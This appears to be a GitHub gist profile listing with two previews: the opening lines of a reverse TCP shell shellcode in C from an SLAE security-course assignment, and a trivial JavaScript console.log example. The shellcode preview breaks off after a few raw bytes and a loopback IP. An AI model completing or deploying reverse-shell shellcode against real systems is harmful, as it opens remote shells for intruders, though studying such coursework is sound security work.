Skip to content

Instantly share code, notes, and snippets.

View CerebralMischief's full-sized avatar

Cerebral Mischief CerebralMischief

View GitHub Profile
@CerebralMischief
CerebralMischief / shellcode.c
Last active August 29, 2015 14:27
Shell Reverse TCP Shellcode in C Language
// This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/2nd.assignment/shellcode.c
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\x68"
"\x7f\x01\x01\x01" // <- IP Number "127.1.1.1"
"\x5e\x66\x68"
@CerebralMischief
CerebralMischief / 0_reuse_code.js
Created May 16, 2014 13:22
Here are some things you can do with Gists in GistBox.
// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console